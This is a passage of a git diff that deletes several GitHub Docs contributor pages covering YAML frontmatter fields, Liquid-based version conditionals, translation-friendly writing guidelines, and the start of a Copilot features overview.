layout for articles.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /contributing/syntax-and-versioning-for-github-docs/using-yaml-frontmatter ---- - -## About YAML frontmatter - -YAML frontmatter is an authoring convention popularized by Jekyll that provides a way to add metadata to pages. -It is a block of key-value content that lives at the top of every Markdown file within {% data variables.product.prodname_docs %}. For more information, see the [YAML frontmatter documentation](https://jekyllrb.com/docs/front-matter/). - -## YAML frontmatter values - -The following frontmatter values have special meanings and requirements for {% data variables.product.prodname_docs %}. -There's also a schema that's used by the test suite to validate every page's frontmatter. -For more information, see [`lib/frontmatter.js`](https://github.com/github/docs/blob/main/src/frame/lib/frontmatter.js). - -* [`versions`](#versions) -* [`redirect_from`](#redirect_from) -* [`title`](#title) -* [`shortTitle`](#shorttitle) -* [`intro`](#intro) -* [`permissions`](#permissions) -* [`product`](#product) -* [`layout`](#layout) -* [`children`](#children) -* [`childGroups`](#childgroups) -* [`featuredLinks`](#featuredlinks) -* [`showMiniToc`](#showminitoc) -* [`allowTitleToDifferFromFilename`](#allowtitletodifferfromfilename) -* [`changelog`](#changelog) -* [`defaultPlatform`](#defaultplatform) -* [`defaultTool`](#defaulttool) -* [`learningTracks`](#learningtracks) -* [`includeGuides`](#includeguides) -* [`type`](#type) -* [`topics`](#topics) -* [`communityRedirect`](#communityredirect) -* [`effectiveDate`](#effectivedate) - -### `versions` - -* Purpose: Indicates the [versions](https://github.com/github/docs/blob/main/src/versions/lib/all-versions.js) to which a page applies. -For more information about the different types of versioning, see [Versioning documentation](/contributing/syntax-and-versioning-for-github-docs/versioning-documentation). -* Type: `Object`. Allowable keys map to product names and can be found in the `versions` object in [`lib/frontmatter.js`](https://github.com/github/docs/blob/main/src/frame/lib/frontmatter.js). -* This frontmatter value is currently **required** for all pages. -* The `*` is used to denote all releases for the version. -* Must be present for all `index.md` files, but actual value is computed at runtime based on the children. - -This frontmatter value is used by the docs site to generate "permalinks" for each version of an article. For more information, see [Permalinks](/contributing/writing-for-github-docs/using-markdown-and-liquid-in-github-docs#permalinks). - -Example that applies to Free, Pro, & Team and {% data variables.product.prodname_ghe_server %} version 3.11 and later: - -```yaml -title: About your personal dashboard -versions: - fpt: '*' - ghes: '>=3.11' -``` - -Example that applies only to {% data variables.product.prodname_ghe_server %}: - -```yaml -title: Downloading your license -versions: - ghes: '*' -``` - -You can also version a page for a range of releases. This would version the page for Free, Pro, & Team, and {% data variables.product.prodname_ghe_server %} versions 3.1 and 3.2 only: - -```yaml -versions: - fpt: '*' - ghes: '>=3.1 <3.3' -``` - -### `redirect_from` - -* Purpose: List URLs that should redirect to this page. -* Type: `Array` -* Optional - -Example: - -```yaml -title: Getting started with GitHub Desktop -redirect_from: - - /articles/first-launch - - /articles/error-github-enterprise-version-is-too-old - - /articles/getting-started-with-github-for-windows -``` - -For more information, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/configuring-redirects). - -### `title` - -* Purpose: Set a human-friendly title for use in the rendered page's `<title>` tag and an `h1` element at the top of the page. -* Type: `String` -* Optional. If omitted, the page `<title>` will still be set, albeit with a generic value like `GitHub.com` or `GitHub Enterprise`. - -### `shortTitle` - -* Purpose: An abbreviated variant of the page title for use in breadcrumbs and navigation elements. -* Type: `String` -* Optional. If omitted, `title` will be used. - -|Article type |Maximum character length | ---- | --- | -|articles | 31 | -|categories |27 | -|map topics |30 | - -Example: - -```yaml -title: Contributing to projects with GitHub Desktop -shortTitle: Contributing to projects -``` - -### `intro` - -* Purpose: Sets the intro for the page. This string will render after the `title`. -* Type: `String` -* Optional. - -### `permissions` - -* Purpose: Sets the permission statement for the article. This string will render after the `intro`. -* Type: `String` -* Optional. - -### `product` - -* Purpose: Sets the product callout for the article. This string will render after the `intro` and `permissions` statement. -* Type: `String` -* Optional. - -### `layout` - -* Purpose: Render the proper page layout. -* Type: `String` that matches the name of the layout. -For a layout named `components/landing`, the value would be `product-landing`. -* Optional. If omitted, `DefaultLayout` is used. - -### `children` - -* Purpose: Lists the relative links that belong to the product/category/map topic. For more information, see [Index pages](#index-pages). -* Type: `Array`. Default is `false`. -* Required on `index.md` pages. - -### `childGroups` - -* Purpose: Renders children into groups on the homepage. For more information, see [Homepage](#homepage). -* Type: `Array`. Default is `false`. -* Require on the homepage `index.md`. - -### `featuredLinks` - -* Purpose: Renders the linked articles' titles and intros on product landing pages and the homepage. -* Type: `Object`. -* Optional. - -The list of popular links are the links displayed on the landing page under the title "Popular." Alternately, you can customize the title "Popular" by setting the `featuredLinks.popularHeading` property to a new string. - -Example: - -```yaml -featuredLinks: - gettingStarted: - - /path/to/page - startHere: - - /guides/example - popular: - - /path/to/popular/article1 - - /path/to/popular/article2 - popularHeading: An alternate heading to Popular -``` - -### `showMiniToc` - -* Purpose: Indicates whether an article should show a mini table of contents (TOC) above the rest of the content. For more information, see [Autogenerated mini TOCs](#autogenerated-mini-tocs). -* Type: `Boolean`. Default is `true` on articles, and `false` on map topics and `index.md` pages. -* Optional. - -### `allowTitleToDifferFromFilename` - -* Purpose: Indicates whether a page is allowed to have a title that differs from its filename. For example, `content/rest/reference/orgs.md` has a title of `Organizations` instead of `Orgs`. Pages with this frontmatter set to `true` will not be flagged in tests or updated by `src/content-render/scripts/reconcile-filenames-with-ids.js`. -* Type: `Boolean`. Default is `false`. -* Optional. - -### `changelog` - -* Purpose: Render a list of items pulled from [GitHub Changelog](https://github.blog/changelog/) on product landing pages (`components/landing`). The one exception is Education, which pulls from https://github.blog/category/community/education. -* Type: `Object`, properties: - * `label` -- must be present and corresponds to the labels used in the [GitHub Changelog](https://github.blog/changelog/) - * `prefix` -- optional string that starts each changelog title that should be omitted in the docs feed. For example, with the prefix `GitHub Actions: ` specified, changelog titles like `GitHub Actions: Some Title Here` will render as `Some Title Here` in the docs feed. -* Optional. - -### `defaultPlatform` - -* Purpose: Override the initial platform selection for a page. If this frontmatter is omitted, then the platform-specific content matching the reader's operating system is shown by default. This behavior can be changed for individual pages, for which a manual selection is more reasonable. For example, most {% data variables.product.prodname_actions %} runners use Linux and their operating system is independent of the reader's operating system. -* Type: `String`, one of: `mac`, `windows`, `linux`. -* Optional. - -Example: - -```yaml -defaultPlatform: linux -``` - -### `defaultTool` - -* Purpose: Override the initial tool selection for a page, where the tool refers to the application the reader is using to work with GitHub (such as GitHub.com's web UI, the GitHub CLI, or GitHub Desktop) or the GitHub APIs. For more information about the tool selector, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-markdown-and-liquid-in-github-docs#tool-tags). If this frontmatter is omitted, then the tool-specific content matching the GitHub web UI is shown by default. If a user has indicated a tool preference (by clicking on a tool tab), then the user's preference will be applied instead of the default value. -* Type: `String`, one of: `webui`, `cli`, `desktop`, `curl`, `codespaces`, `vscode`, `importer_cli`, `graphql`, `powershell`, `bash`, `javascript`. -* Optional. - -```yaml -defaultTool: cli -``` - -### `learningTracks` - -* Purpose: Render a list of learning tracks on a product's sub-landing page. -* Type: `String`. This should reference learning tracks' names defined in [`data/learning-tracks/*.yml`](https://github.com/github/docs/tree/main/data/learning-tracks). -* Optional - -> [!NOTE] -> The featured track is set by a specific property in the learning tracks YAML. See that [README](https://github.com/github/docs/blob/main/data/learning-tracks/README.md) for details. - -### `includeGuides` - -* Purpose: Render a list of articles, filterable by `type` and `topics`. Only applicable when used with `layout: product-guides`. -* Type: `Array` -* Optional. - -Example: - -```yaml -includeGuides: - - /actions/guides/about-continuous-integration - - /actions/guides/setting-up-continuous-integration-using-workflow-templates - - /actions/guides/building-and-testing-nodejs - - /actions/guides/building-and-testing-powershell -``` - -### `type` - -* Purpose: Indicate the type of article. -* Type: `String`, one of the `overview`, `quick_start`, `tutorial`, `how_to`, `reference`, `rai`. -* Optional. - -### `topics` - -* Purpose: Indicate the topics covered by the article. Refer to the content models for more details about adding topics. A full list of existing topics is located in the [allowed topics file](https://github.com/github/docs/blob/main/data/allowed-topics.js). If topics in article frontmatter and the allow-topics list become out of sync, the [topics CI test](https://github.com/github/docs/blob/main/src/search/tests/topics.ts) will fail. -* Type: Array of `String`s -* Optional: Topics are preferred for each article, but, there may be cases where existing articles don't yet have topics, or adding a topic to a new article may not add value. - -### `communityRedirect` - -* Purpose: Set a custom link and link name for `Ask the GitHub community` link in the footer. -* Type: `Object`. Properties are `name` and `href`. -* Optional. - -### `effectiveDate` - -* Purpose: Set an effective date for Terms of Service articles so that engineering teams can automatically re-prompt users to confirm the terms -* Type: `string` YEAR-MONTH-DAY e.g. 2021-10-04 is October 4th, 2021 -* Optional. - -> [!NOTE] -> The `effectiveDate` frontmatter value is for use by {% data variables.product.company_short %} staff only. - -## Escaping single quotes - -If you see two single quotes in a row (`''`) in YAML frontmatter where you might expect to see one (`'`), this is the YAML-preferred way to escape a single quote. - -As an alternative, you can change the single quotes surrounding the frontmatter field to double quotes and leave interior single quotes unescaped. - -## Autogenerated mini TOCs - -Every article displays a mini table of contents (TOC), which is an autogenerated "In this article" section that includes links to all `H2`s in the article. Only `H2` headers are included in the mini TOCs. If an article uses `H3` or `H4` headers to divide information in a way that only certain sections are relevant to a particular task, you can help people navigate to the content most relevant to them by using a [sectional TOC](/contributing/style-guide-and-content-model/style-guide#sectional-tocs). - -You can use the [`showMiniToc`](#showminitoc) frontmatter value, set to `false`, to prevent the mini TOC from showing up for an article. - -Mini TOCs do not appear on product landing pages, category landing pages, or map topic pages. - -Do not add hardcoded "In this article" sections in the Markdown source or else the page will display duplicate mini TOCs. - -## Filenames - -When adding a new article, make sure the filename is a [kebab-cased](https://en.wikipedia.org/wiki/Letter_case#Special_case_styles) version of the title you use in the article's [`title`](#title) frontmatter. This can get tricky when a title has punctuation (such as "GitHub's Billing Plans"). A test will flag any discrepancies between title and filename. To override this requirement for a given article, you can add [`allowTitleToDifferFromFilename`](#allowtitletodifferfromfilename) frontmatter. - -## Index pages - -Index pages are the table of contents files for the Docs site. Every product, category, and map topic subdirectory has an `index.md` file that provides an overview of the content and links to every child article. Each `index.md` must contain a `children` frontmatter property with a list of relative links to the child pages of the product, category, or map topic. Index pages require a `versions` frontmatter property, and the actual value will be computed at runtime based on the versions of children articles. - -> [!NOTE] -> The site only knows about paths included in `children` frontmatter. If a directory or article exists but is **not** included in `children`, its path will return a 404. - -## Homepage - -The homepage is the main Table of Contents file for the docs site. The homepage must have a complete list of `children`, like every [Index page](#index-pages) but must also specify the `childGroups` frontmatter property that will be highlighted in the main content area. - -`childGroups` is an array of mappings containing a `name` for the group, an optional `icon` for the group, and an array of `children`. The `children` in the array must be present in the `children` frontmatter property. - -## Creating new product guides pages - -To create a product guides page (e.g. [{% data variables.product.prodname_actions %} Guide page](/actions/guides)), create or modify an existing markdown file with these specific frontmatter values: - -* Use the product guides page template by referencing `layout: product-guides`. -* Include the learning tracks in [`learningTracks`](#learningtracks). Optional. -* Define which articles to include with [`includeGuides`](#includeguides). Optional. - -If using learning tracks, they need to be defined in [`data/learning-tracks/*.yml`](https://github.com/github/docs/tree/main/data/learning-tracks). -If using `includeGuides`, make sure each of the articles in this list has [`topics`](#topics) and [`type`](#type) in its frontmatter. diff --git a/content/contributing/writing-for-github-docs/versioning-documentation.md b/content/contributing/writing-for-github-docs/versioning-documentation.md deleted file mode 100644 index caad2df40745..000000000000 --- a/content/contributing/writing-for-github-docs/versioning-documentation.md +++ /dev/null @@ -1,291 +0,0 @@ ---- -title: Versioning documentation -intro: '{% data variables.product.prodname_docs %} uses YAML frontmatter and liquid operators to support multiple versions of {% data variables.product.company_short %} with a single-source approach.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /contributing/syntax-and-versioning-for-github-docs/versioning-documentation ---- - -On {% data variables.product.prodname_docs %}, we provide versions of our documentation that reflect the differences in UI and functionality across {% data variables.product.company_short %}'s major product offerings. Contributors can use versioning syntax to scope content to a specific product offering. - -Versioning syntax allows the reader to manually choose the version of the documentation that applies to the product they're using. {% data variables.product.prodname_docs %}' URLs can also include versioning information, which allows links from one version of {% data variables.product.prodname_docs %} to another to send the reader directly to documentation for the product they're using. - -## How and where to version - -Versioning for content on {% data variables.product.prodname_docs %} is single-source to avoid repetition and keep prose [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself). For articles, you apply versioning to an individual Markdown file with YAML metadata, then use conditional statements within the file's prose to instruct the site which text to display depending on the version the reader selects. Single-sourcing contrasts to the creation of separate files that reflect each version of the content. - -There are two types of versioning syntax for {% data variables.product.prodname_docs %}. - -* YAML: Used most often in YAML front matter within Markdown files in `content/`, but also in many types of YAML files in `data/`. Indicates the versioning for an entire piece of content. - - ```yaml - versions: - PRODUCT: 'VERSIONS' - PRODUCT: 'VERSIONS' - ... - ``` - - The following example shows content versioned for Free, Pro, & Team, and all versions of {% data variables.product.prodname_ghe_server %}. - - ```yaml - versions: - fpt: * - ghes: * - ``` - -* Liquid: Used within Markdown files in `content/` and `data/reusables/`, variable strings within YAML files in `data/variables/`, or strings within `data/glossaries/external.yml`. Indicates which text should appear when a reader chooses a version for content that has multiple versions defined by YAML front matter. - - * Product-based versioning: - - ```javascript - {% raw %}{% ifversion SHORT-PRODUCT-NAME %} ... {% endif %}{% endraw %} - ``` - - * Feature-based versioning: - - ```javascript - {% raw %}{% ifversion FEATURE-NAME %} ... {% endif %}{% endraw %} - ``` - -## About the different versions of {% data variables.product.company_short %} - -We provide versioned documentation for users of {% data variables.product.prodname_dotcom %} plans including {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %}. If multiple versions of a page exist on the site, readers can choose the version from the version picker at the top of the page. - -### {% data variables.product.prodname_dotcom_the_website %} - -Documentation for {% data variables.product.prodname_dotcom_the_website %} has two possible versions: - -#### Free, Pro, or Team plans - -For Free, Pro, or Team plans on {% data variables.product.prodname_dotcom_the_website %}, use `free-pro-team@latest`. The short name is `fpt`. - -#### {% data variables.product.prodname_ghe_cloud %} - -For {% data variables.product.prodname_ghe_cloud %}, use `enterprise-cloud@latest`. The short name is `ghec`. - -### {% data variables.product.prodname_ghe_server %} - -Documentation for {% data variables.product.prodname_ghe_server %} has multiple versions and can be divided into two types: documentation for _supported releases_ (we support four at any one time), and documentation for _{% data variables.release-phases.closing_down %} releases_ (we do not link to these on the Docs site but we support a "frozen" snapshot of these docs in perpetuity, so they can still be accessed if you know the URLs). See [`lib/enterprise-server-releases.js`](https://github.com/github/docs/blob/main/src/versions/lib/enterprise-server-releases.js) for a list. - -The versions are named `enterprise-server@<release>`. The short name is `ghes`. In Liquid conditionals, we can specify ranges, like `ghes > 3.0`. For more information, see [Versioning with Liquid conditional operators](#versioning-with-liquid-conditional-operators). - -## Versioning in the YAML frontmatter - -You can use the `versions` property within a file's frontmatter to define which products an article will appear for. Index files require a `versions` property, but they will be automatically versioned based on the versions of their children. - -For example, the following YAML frontmatter will version an article for {% data variables.product.prodname_ghe_server %} 2.20 and above and Free, Pro, or Team. - -```yaml -title: About your personal dashboard -versions: - fpt: '*' - ghes: '>=2.20' -``` - -The following example will version an article for all supported versions of {% data variables.product.prodname_ghe_server %}: - -```yaml -title: Downloading your license -versions: - ghes: '*' -``` - -You can also version a page for a range of releases. The following example will version the page for Free, Pro, & Team, {% data variables.product.prodname_ghe_cloud %}, and {% data variables.product.prodname_ghe_server %} versions 3.1 and 3.2 only: - -```yaml -versions: - fpt: '*' - ghec: '*' - ghes: '>=3.1 <3.3' -``` - -## Versioning with Liquid conditional operators - -We use the [Liquid template language](https://shopify.github.io/liquid/basics/introduction/) (specifically, [this Node.js port](https://github.com/harttle/liquidjs)) and a custom `{% raw %}{% ifversion ... %}{% endraw %}` tag to create versions of our documentation. - -If you define multiple products in the `versions` key within a page's YAML frontmatter, you can use the conditional operators `ifversion`/`else` (or `ifversion`/`elsif`/`else`) in the Markdown to control how the site renders content on the page for a particular product. For example, a feature may have more options on {% data variables.product.prodname_dotcom_the_website %} than on {% data variables.product.prodname_ghe_server %}, so you can version the content appropriately via the `versions` frontmatter, and use Liquid conditionals to describe the additional options for {% data variables.product.prodname_dotcom_the_website %}. - -> [!NOTE] -> * Use `ifversion` for product-based versioning and [feature-based versioning](#about-feature-based-versioning). -> * Do not use `if` or `unless`. -> * Make sure to use `elsif` and not `else if`. Liquid does not recognize `else if` and will not render content inside an `else if` block. - -### Comparison operators - -For versions that don't have numbered releases (like `fpt` and `ghec`), you have two options: - -* `{% raw %}{% ifversion ghec %}{% endraw %}` -* `{% raw %}{% ifversion not ghec %}{% endraw %}` - -For versions that have numbered releases (currently only `ghes`), you can do the same for content that is either available in all of the releases or not available in any of the releases: - -* `{% raw %}{% ifversion ghes %}{% endraw %}` -* `{% raw %}{% ifversion not ghes %}{% endraw %}` - -If you need to denote content that is only available (or not available) in certain releases, you can use the following operators: - -|Operator | Meaning| Example -|--|--|--| -|`=`| Equal to| `{% raw %}{% ifversion ghes = 3.0 %}{% endraw %}` -|`>`| Newer than| `{% raw %}{% ifversion ghes > 3.0 %}{% endraw %}` -|`<`| Older than| `{% raw %}{% ifversion ghes < 3.0 %}{% endraw %}` -|`!=`| Not equal to| `{% raw %}{% ifversion ghes != 3.0 %}{% endraw %}` (don't use `not` in ranges) - -The Liquid operators `==`, `>=`, and `<=` are not supported in the {% data variables.product.prodname_docs %}. - -### Logical operators - -When all operands must be true for the condition to be true, use the operator `and`: - -```text -{% raw %}{% ifversion ghes > 2.21 and ghes < 3.1 %}{% endraw %} -``` - -When at least one operand must be true for the condition to be true, use the operator `or`: - -```text -{% raw %}{% ifversion fpt or ghes > 2.21 %}{% endraw %} -``` - -Do not use the operators `&&` or `||`. Liquid does not recognize them, and the content will not render in the intended versions. - -### Whitespace control - -When using Liquid conditionals in lists, you can use [whitespace control](https://shopify.github.io/liquid/basics/whitespace/) characters to prevent the addition of newlines and other whitespace that would break the list rendering. - -You can add a hyphen (`-`) on either the left, right, or both sides to indicate that there should be no newline or other whitespace on that side. - -```text -{% raw %}{%- ifversion fpt %}{% endraw %} -``` - -For example, to version one step of a procedure, instead of adding liquid versioning for the step starting at the end of the previous step, like this: - -```markdown -1. This step is for all versions{% raw %}{% ifversion ghes %}{% endraw %} -1. This step is for GHES only{% raw %}{% endif %}{% endraw %} -1. This step is for all versions -``` - -You can include the liquid versioning on its own line and use whitespace control to strip the newline to the left of the liquid tag. This makes reading the source much easier, without breaking the rendering of the list: - -```markdown -1. This step is for all versions -{% raw %}{%- ifversion ghes %}{% endraw %} -1. This step is for GHES only -{% raw %}{%- endif %}{% endraw %} -1. This row is for all versions -``` - -## About feature-based versioning - -When you document any new change or feature, use feature-based versioning. - -A small minority of features and changes will only ever apply to one product. The majority of features come to {% data variables.product.prodname_dotcom_the_website %} and eventually reach all products. In general, changes "flow" from {% data variables.product.prodname_dotcom_the_website %} (including {% data variables.product.prodname_ghe_cloud %}) [to {% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/overview/about-upgrades-to-new-releases). - -Feature-based versioning provides named "feature flags" that simplify the maintenance and versioning of documentation. You can use a single feature name (or "flag") to group and version prose throughout content. When a feature comes to additional products, you only need to make a change to the YAML versioning in the file within `data/features/`. - -### Managing features - -Each feature is managed through individual YAML files in `data/features/`. - -> [!NOTE] -> Do not delete `data/features/placeholder.yml` because it is used by tests. - -To create a new feature, first create a new YAML file with the feature name you want to use in this directory. For a feature named `meow`, that would be `data/features/meow.yml`. - -Add a `versions` block to the YAML file with the short names of the versions the feature is available in. For example: - -```yaml -versions: - fpt: '*' - ghec: '*' - ghes: '>3.1' -``` - -The format and allowed values are the same as the frontmatter versions property. For more information, see [Versions](https://github.com/github/docs/tree/main/content#versions) in the `github/docs` repository README. - -### Liquid conditionals - -Now you can use `{% raw %}{% ifversion meow %} ... {% endif %}{% endraw %}` in content files! - -### Frontmatter - -You can also use the feature in frontmatter in content files: - -```yaml -versions: - feature: 'meow' -``` - -You can only use one `feature` entry under `versions`, and the value of `feature` can only contain one feature name. - -You can combine feature-based versioning and standard versioning in frontmatter. When you do this the article will be included in the superset of all of the versions specified in the feature-based versioning file and directly in the Markdown file. For example, you might have a feature that is currently only available in GHEC, and this is specified in the feature-based versioning. However, you want the "About" article for this feature to also be visible in the FPT docs. In this case you could add `fpt` and `feature` to the `versions` block in the front matter: - -```yaml -versions: - fpt: '*' - feature: 'some-new-feature' -``` - -## Best practices - -Versioned content impacts the reader, but also impacts anyone who contributes to or reviews the content. Here are a few tips to improve the writing, reading, and reviewing experience for versioning syntax. None of these practices are mandatory and you will find edge and corner cases, but they're intended as useful heuristics to help you think through versioning. - -### Avoid unnecessary versioning - -For the reader, gaining a general understanding is more important than reading details that precisely reflect the differences between particular products or plans. In conceptual or procedural content, try to describe features or portions of the UI in a general way that doesn't require versioning syntax. In addition to being easier for us to maintain, this strengthens understanding for readers who refer to documentation for multiple products. - -* Do ask yourself, "can I write this content in a way that applies to all products without any versioning?" -* Do try to avoid versioning screenshots if you can, given the effort required to create them. Minor differences between UI copy may not affect understanding. If product-specific text or UI elements exist, but the screenshot still provides helpful context, ask yourself whether versioning the screenshots would affect understanding to a meaningful degree. -* Don't version prose if you can explain a concept or walk the reader through a procedure without versioning for specific products. - -### When modifying an existing content file, review existing versioning early and often - -Staying cognizant of existing versioning will help ensure that you write relevant versioning statements, and can help remind you to version new content accurately. - -* Do review the entire page's versioning in the front matter as soon as you begin editing. -* Do review the versioning around content that you're editing. -* Do review the rendered version of changes that you're making, and switch to each available version for the page as part of your self-review. - -### Avoid repetition as much as possible - -Use versioning syntax within a sentence or paragraph to differentiate prose for two different plans or products. A contributor can edit just one paragraph with versioning statements, instead of needing to consider larger blocks of versioned text and modify similar but differently versioned prose in two places. A reviewer can suggest a change once, instead of needing to leave the same suggestion in multiple places. But if the behavior differs dramatically or versioning within the sentence or paragraph becomes complicated or difficult for a contributor to parse, consider repeating yourself to make the prose easier to maintain. - -* Do use versioning syntax inline within paragraphs to avoid repeating sentences or entire paragraphs. - - > You can do {% raw %}{% ifversion fpt %}something{% elsif ghec %}something else{% endif %}{% endraw %}. - -* Do use your judgment: for prose that would be complicated to write or read without lots of versioning syntax within a sentence or paragraph, consider repeating the entire paragraph in a version block for each relevant product. - - > {% raw %}{% ifversion fpt %} - > - > If you use a Free, Pro, or Team plan, you can do something. Here's more information about the things you can do with a Free, Pro, or Team plan... - > - > {% elsif ghec %} - > - > If you use GitHub Enterprise Cloud, you can do something else. Here's more information about the things you can do with GitHub Enterprise Cloud... - > - > {% endif %}{% endraw %} - -### Be explicit, not implicit - -If you know exactly which products the content describes, version explicitly for those products. Syntax like `not`, and `else` in particular, can be imprecise. The end result of `not` and `else` depend on each article's front matter, so a contributor must do more investigation to understand prose with this versioning. This creates the potential for errors. The complexity of implicit versioning increases in reusables, where articles that reference the reusable may have different versioning, and thus different evaluations of `not` or `else`. We also occasionally introduce a new version to {% data variables.product.prodname_docs %} when {% data variables.product.company_short %} introduces a new product, which changes the end result of `not` and `else` when we add the new version to existing articles. - -* Do remember that {% data variables.product.company_short %} offers four products, and remember that {% data variables.product.prodname_docs %} can display documentation for eight total versions at any given time. -* Do review an entire article's versioning in the front matter when you begin editing, as this can help you understand how `not` and `else` will behave in Liquid statements, or change when you enable new versions in the front matter. - -### Verify and communicate versioning as you work through content design and creation - -Sometimes a change isn't included in the release it was originally intended for. You can save time for reviewers and ensure more accurate content by confirming versioning throughout content design and creation, for both releases and improvements. - -* Do consider versioning in content design, and do double-check the versioning when you request stakeholder reviews for content creation. -* Do make the review easier for other writers and stakeholders: point out differences between versions in your request for review, linking to specific rendered versions of the content if necessary. -* Do trust, but verify. - -### Test, test, and test again - -Whether you're writing the content or reviewing the content, pay attention to the content design plan and affected products, and check the rendered content in a staging or development environment to ensure that the content describes each product accurately. diff --git a/content/contributing/writing-for-github-docs/writing-content-to-be-translated.md b/content/contributing/writing-for-github-docs/writing-content-to-be-translated.md deleted file mode 100644 index ac2a9b29467c..000000000000 --- a/content/contributing/writing-for-github-docs/writing-content-to-be-translated.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Writing content to be translated -shortTitle: Write content to be translated -intro: Our documentation is translated into multiple languages. How we approach writing the English language documentation can greatly improve the quality of those translations. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About writing content that is translation-friendly - -Use the following guidelines to ensure the content you create can be successfully translated. For more information, see [Style guide](/contributing/style-guide-and-content-model/style-guide). - -* Use examples that are generic and can be understood by most people. -* Avoid examples that are controversial or culturally specific to a group. -* Write in active voice. -* Write simple, short, and easy-to-understand sentences. -* Avoid using too many pronouns that can make text unclear. -* Avoid using slang and jokes. -* Avoid negative sentences. -* Use industry-standard acronyms whenever possible and explain custom acronyms. -* Use indicative mood. -* Eliminate redundant and wordy expressions. -* Avoid the excessive use of stacked modifiers (noun strings). The translator can misunderstand which noun is the one being modified. -* Avoid invisible plurals in which it is not clear if the first noun is meant to be singular or plural. -* Avoid nominalization. -* Avoid using ambiguous modal auxiliary verbs. -* Avoid gender-specific words. -* Avoid prepositional phrases. -* Avoid vague nouns and pronouns (vague sentence subject). -* Keep inline links to a minimum. If they are necessary, preface them with a phrase such as "For more information, see "Link title." Alternatively, add relevant links to a "Further reading" section at the end of the topic. - -## Examples - -This section provides examples for how to follow our guidelines for writing translation-friendly documentation. - -### Avoid country specific information - -For example, avoid 800 numbers and country specific addresses. If necessary, mention what countries the information applies to. - -### Avoid the excessive use of stacked modifiers (noun strings) - -Lots of stacked modifiers can lead to incorrect translations because it's not easy to determine what modifies what. For example, use "Default source settings for the public repository" instead of "public repository default source settings." - -### Avoid invisible plurals - -For example, when using the term "file retrieval," it's unclear if you are retrieving one file or all files. Provide more context to eliminate ambiguity. In the example given, you can use "retrieving all the files" or "retrieving the source.md file." - -### Avoid nominalization - -For example, instead of "to reach a conclusion," use "conclude." - -### Avoid using ambiguous modal auxiliary verbs. - -Avoid using words such as "may" and "might." Be more clear to avoid ambiguity. - -### Avoid prepositional phrases - -Instead of writing "after trying many times" or "according to the repository log," write more directly. For example, "after trying three times." - -### Avoid vague nouns and pronouns - -Vague nouns and pronouns can make it unclear who or what you are referring to, especially when that content has to be translated. For example, "Maintainers and contributors have access to files and comments. In the pull request they make changes to it." In this sentence, it is not clear if the changes are being made to the file or comments. If a pronoun seems to refer to more than one antecedent, either reword the sentence to make the antecedent clear or replace the pronoun with a noun to eliminate ambiguity. - -### Keep inline links to a minimum. - -Where possible, clearly introduce links following our style guide. For example, instead of the following sentence: - -```markdown -Read [more about OAuth2.](/apps/building-integrations/setting-up-and-registering-oauth-apps/) Note that OAuth2 tokens can be [acquired programmatically](/rest/reference/oauth-authorizations/#create-a-new-authorization), for applications that are not websites. -``` - -You can use this instead: - -```markdown -OAuth2 tokens can be acquired programmatically for applications that are not websites. For more information, see [AUTOTITLE](apps/building-integrations/setting-up-and-registering-oauth-apps/) and [Create a new authorization](/rest/reference/oauth-authorizations/#create-a-new-authorization). -``` diff --git a/content/copilot/about-github-copilot/github-copilot-features.md b/content/copilot/about-github-copilot/github-copilot-features.md deleted file mode 100644 index a425d9d4a43a..000000000000 --- a/content/copilot/about-github-copilot/github-copilot-features.md +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: GitHub Copilot features -intro: '{% data variables.product.prodname_copilot %} offers a suite of features. {% data variables.product.prodname_copilot_short %} also offers a suite of features for administrators.' -versions: - feature: copilot -topics: - - Copilot -shortTitle: Copilot features -redirect_from: - - /copilot/copilot-business/github-copilot-business-feature-set - - /copilot/copilot-individual/github-copilot-individual-feature-set - - /copilot/github-copilot-enterprise/github-copilot-enterprise-feature-set ---- - -## {% data variables.product.prodname_copilot %} features - -### Code completion - -Autocomplete-style suggestions from {% data variables.product.prodname_copilot_short %} in supported IDEs _({% data variables.product.prodname_vscode %}, {% data variables.product.prodname_vs %}, JetBrains IDEs, Azure Data Studio, Xcode, Vim/Neovim, and Eclipse)_. For more information, see [AUTOTITLE](/copilot/using-github-copilot/getting-code-suggestions-in-your-ide-with-github-copilot). - -If you use {% data variables.product.prodname_vscode_shortname %}, you can also use {% data variables.copilot.next_edit_suggestions %}, which will predict the location of the next edit you are likely to make and suggest a completion for it. - -> [!NOTE] {% data variables.copilot.next_edit_suggestions_caps %} is currently in {% data variables.release-phases.public_preview %} and is subject to change. - -### {% data variables.product.prodname_copilot_chat_short %} - -A chat interface that lets you ask coding-related questions. {% data variables.product.prodname_copilot_chat %} is available on the {% data variables.product.github %} website, in {% data variables.product.prodname_mobile %}, in supported IDEs _({% data variables.product.prodname_vscode %}, {% data variables.product.prodname_vs %}, JetBrains IDEs, Eclipse IDE, and Xcode)_, and in {% data variables.product.prodname_windows_terminal %}. Users can also use skills with {% data variables.product.prodname_copilot_chat_short %}. For more information, see [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-github) and [AUTOTITLE](/copilot/using-github-copilot/asking-github-copilot-questions-in-your-ide). - -### {% data variables.product.prodname_copilot_cli_short %} - -A chat-like interface in the terminal, where you can ask questions about the command line. You can ask {% data variables.product.prodname_copilot_short %} to provide command suggestions or explanations of commands. Users can also integrate {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_windows_terminal %} Canary. For more information, see [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-in-the-command-line). - -### {% data variables.product.prodname_copilot_for_prs %} - -AI-generated summaries of the changes that were made in a pull request, which files they impact, and what a reviewer should focus on when they conduct their review. For more information, see [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/creating-a-pull-request-summary-with-github-copilot). - -### {% data variables.product.prodname_copilot_workspace %} ({% data variables.release-phases.public_preview %}) - -A {% data variables.product.prodname_copilot_short %}-enabled environment for refining your pull requests, validating changes, and integrating suggestions from reviewers. For more information, see 